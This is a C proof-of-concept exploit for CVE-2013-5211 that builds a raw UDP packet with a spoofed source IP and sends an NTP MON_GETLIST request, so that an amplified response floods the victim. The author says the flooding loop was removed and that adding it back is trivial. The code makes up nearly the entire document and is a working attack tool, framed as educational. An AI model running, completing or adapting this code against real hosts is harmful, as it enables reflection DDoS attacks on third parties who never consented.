/*
* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
* Date: 28/04/2014
* Code Author: Danilo PC - <DaNotKnow@gmail.com>
* CVE : CVE-2013-5211
*/
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
*/
//------------------------------------------------------------------------------------------------//
//------------------------------------------------------------------------------------------------//
#include <stdio.h> //For on printf function
#include <string.h> //For memset
#include <sys/socket.h> //Structs and Functions used for sockets operations.
#include <stdlib.h> //For exit function
#include <netinet/ip.h> //Structs for IP header
//Struct for UDP Packet
struct
udpheader{
unsigned
short
int
udp_sourcePortNumber;
unsigned
short
int
udp_destinationPortNumber;
unsigned
short
int
udp_length;
unsigned
short
int
udp_checksum;
};
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct
ntpreqheader {
unsigned
char
rm_vn_mode;
/* response, more, version, mode */
unsigned
char
auth_seq;
/* key, sequence number */
unsigned
char
implementation;
/* implementation number */
unsigned
char
request;
/* request number */
unsigned
short
err_nitems;
/* error code/number of data items */
unsigned
short
mbz_itemsize;
/* item size */
char
data[40];
/* data area [32 prev](176 byte max) */
unsigned
long
tstamp;
/* time stamp, for authentication */
unsigned
int
keyid;
/* encryption key */
char
mac[8];
/* (optional) 8 byte auth code */
};
// Calculates the checksum of the ip header.
unsigned
short
csum(unsigned
short
*ptr,
int
nbytes)
{
register
long
sum;
unsigned
short
oddbyte;
register
short
answer;
sum=0;
while
(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if
(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(
short
)~sum;
return
(answer);
}
//Da MAIN
int
main(
int
argc,
char
**argv)
{
int
status;
// Maintains the return values of the functions
struct
iphdr *ip;
// Pointer to ip header struct
struct
udpheader *udp;
// Pointer to udp header struct
struct
ntpreqheader *ntp;
// Pointer to ntp request header struct
int
sockfd;
// Maintains the socket file descriptor
int
one = 1;
// Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct
sockaddr_in dest;
// Maintains the data of the destination address
char
packet[
sizeof
(
struct
iphdr) +
sizeof
(
struct
udpheader) +
sizeof
(
struct
ntpreqheader) ];
//Packet itself
// Parameters check
if
( argc != 3){
printf
(
"Usage: ./ntpDdos [Target IP] [NTP Server IP]\n"
);
printf
(
"Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n"
);
printf
(
"Watch it on wireshark!\n"
);
printf
(
"Coded for education purpose only!\n"
);
exit
(1);
}
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if
(sockfd == -1){
printf
(
"Error on initializing the socket\n"
);
exit
(1);
}
//Sets the option IP_HDRINCL
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one,
sizeof
one);
if
(status == -1){
printf
(
"Error on setting the option HDRINCL on socket\n"
);
exit
(1);
}
//"Zeroes" all the packet stack
memset
( packet, 0,
sizeof
(packet) );
//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
ip = (
struct
iphdr *)packet;
udp = (
struct
udpheader *) (packet +
sizeof
(
struct
iphdr) );
ntp = (
struct
ntpreqheader *) (packet +
sizeof
(
struct
iphdr) +
sizeof
(
struct
udpheader) );
//Fill the IP Header
ip->version = 4;
//IPv4
ip->ihl = 5;
//Size of the Ip header, minimum 5
ip->tos = 0;
//Type of service, the default value is 0
ip->tot_len =
sizeof
(packet);
//Size of the datagram
ip->id = htons(1234);
//LengthIdentification Number
ip->frag_off = 0;
//Flags, zero represents reserved
ip->ttl = 255;
//Time to Live. Maximum of 255
ip->protocol = IPPROTO_UDP;
//Sets the UDP as the next layer protocol
ip->check = 0;
//Checksum.
ip->saddr = inet_addr( argv[1] );
//Source ip ( spoofing goes here)
ip->daddr = inet_addr( argv[2] );
//Destination IP
//Fills the UDP Header
udp->udp_sourcePortNumber = htons(
atoi
(
"123"
) );
//Source Port
udp->udp_destinationPortNumber = htons(
atoi
(
"123"
)) ;
//Destination Port
udp->udp_length = htons(
sizeof
(
struct
udpheader) +
sizeof
(
struct
ntpreqheader) );
//Length of the packet
udp->udp_checksum = 0;
//Checksum
//Calculate the checksums
ip->check = csum((unsigned
short
*)packet, ip->tot_len);
//Calculate the checksum for iP header
//Sets the destination data
dest.sin_family = AF_INET;
// Address Family Ipv4
dest.sin_port = htons (
atoi
(
"123"
) ) ;
// Destination port
dest.sin_addr.s_addr = inet_addr( argv[2] );
// Destination Endereço para onde se quer enviar o pacote
//Fills the NTP header
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
ntp->rm_vn_mode=0x17;
//Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
ntp->implementation=0x03;
//Sets the implementation to 3
ntp->request=0x2a;
//Sets the request field to 42 ( MON_GETLIST )
//All the other fields of the struct are zeroed
// Sends the packets
status = sendto(sockfd, packet, ip->tot_len, 0, (
struct
sockaddr *)&dest,
sizeof
(dest) );
if
(status <0){
printf
(
"Failed to send the packets\n"
);
exit
(1);
}
}